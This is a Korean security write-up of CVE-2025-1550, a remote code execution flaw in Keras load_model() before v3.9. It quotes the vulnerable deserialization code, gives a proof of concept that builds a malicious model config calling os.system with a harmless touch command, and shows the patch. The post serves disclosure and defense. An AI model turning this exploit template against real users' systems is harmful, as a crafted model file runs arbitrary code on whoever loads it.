[하루한줄] CVE-2025-1550 : Keras의 모델 로딩 시 검증 미흡으로 인한 RCE 취약점

URL

Target

  • Keras < v3.9

Explain

CCVE-2025-1550은 Google이 개발한 딥러닝 라이브러리인 Keras의 keras.models.load_model() 함수에서 발생하는 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 모델 파일의 구성 정보(config.json)를 별도의 검증 없이 처리하는 과정에서 발생하며, 악의적으로 조작된 모델 파일을 로드할 경우 임의의 코드가 실행될 수 있습니다.

# keras/keras/saving/serialization_lib.py

if class_name == "function":
        fn_name = inner_config
        return _retrieve_class_or_fn(
            fn_name,
            registered_name,
            module,
            obj_type="function",
            full_config=config,
            custom_objects=custom_objects,
        )

해당 취약점은 모델 아키텍쳐 및 구성 정보가 포함된 config.json 파일을 직렬화된 객체로 반환할 때class_name 값이 function 인 경우 _retrieve_class_or_fn를 호출하여 json 내 정의한 모듈 및 함수를 가져오며 발생합니다.

# keras/keras/saving/serialization_lib.py

try:
    mod = importlib.import_module(module)
    except ModuleNotFoundError:
        raise TypeError(
            f"Could not deserialize {obj_type} '{name}' because "
            f"its parent module {module} cannot be imported. "
            f"Full object config: {full_config}"
        )
        obj = vars(mod).get(name, None)

        if obj is None:
            # Special case for keras.metrics.metrics
            if registered_name is not None:
                obj = vars(mod).get(registered_name, None)

            # Support for `__qualname__`
            if name.count(".") == 1:
                outer_name, inner_name = name.split(".")
                outer_obj = vars(mod).get(outer_name, None)
                obj = (
                    getattr(outer_obj, inner_name, None)
                    if outer_obj is not None
                    else None
                )

        if obj is not None:
            return obj

이때 별도의 검증없이 모듈 및 함수를 가져오기 때문에 공격자는 Remote Code Execution이 가능해집니다. Keras는 모델 파일을 임시 디렉터리에 위치시키기 때문에 공격자의 악성 lib이나 python script는 가져올 수 없지만, os.system() 같은 표준 모듈을 사용 가능합니다.

PoC

...
PAYLOAD = "touch /tmp/pwned_by_keras"

def create_malicious_config():
    return {
        "class_name": "Functional",
        "config": {
            "name": "pwned_model",
            "layers": [
                {
                    "class_name": "Lambda",
                    "config": {
                        "name": "evil_lambda",
                        "function": {
                            "class_name": "function",
                            "config": {
                                "module": "os",
                                "function_name": "system",
                                "registered_name": None
                            }
                        },
                        "arguments": [PAYLOAD]
                    }
                }
            ],
            "input_layers": [["evil_lambda", 0, 0]],
            "output_layers": [["evil_lambda", 0, 0]]
        }
    }

...
def trigger_exploit(model_path):
    print("[*] Loading malicious model to trigger exploit...")
    load_model(model_path)
    print("[✓] Model loaded. If vulnerable, payload should be executed.")

if __name__ == "__main__":
    keras_file = "malicious_model.keras"
    build_malicious_keras(keras_file)
    trigger_exploit(keras_file)

create_malicious_config() 함수는 모델 구조를 정의하는 config.json 파일을 생성합니다. class_name"function"으로 설정하고, modulefunction_name을 각각 "os""system"으로 지정함으로써, Keras 내부의 deserialize_keras_object()_retrieve_class_or_fn() 를 통해 os.system 함수 객체를 로드할 수 있도록 합니다.
arguments 필드에 공격자가 "touch /tmp/pwned_by_keras"문자열 인자로 전달함으로써, 모델이 실행되는 시점에 os.system("touch /tmp/pwned_by_keras") 형태로 함수가 호출되도록 유도합니다.

Patched Code

# Otherwise, attempt to retrieve the class object given the `module`
# and `class_name`. Import the module, find the class.
package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
    try:
        mod = importlib.import_module(module)
        obj = vars(mod).get(name, None)
        if obj is not None:
            return obj
    except ModuleNotFoundError:
        raise TypeError(
            f"Could not deserialize {obj_type} '{name}' because "
            f"its parent module {module} cannot be imported. "
            f"Full object config: {full_config}"
        )

현재 keras v3.9 에서는 function과 같은 레이어가 아닌 객체들이 레이어로 등록되는 것을 방지하고 로드될 수 있는 모듈을 제한하도록 패치되었습니다.

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.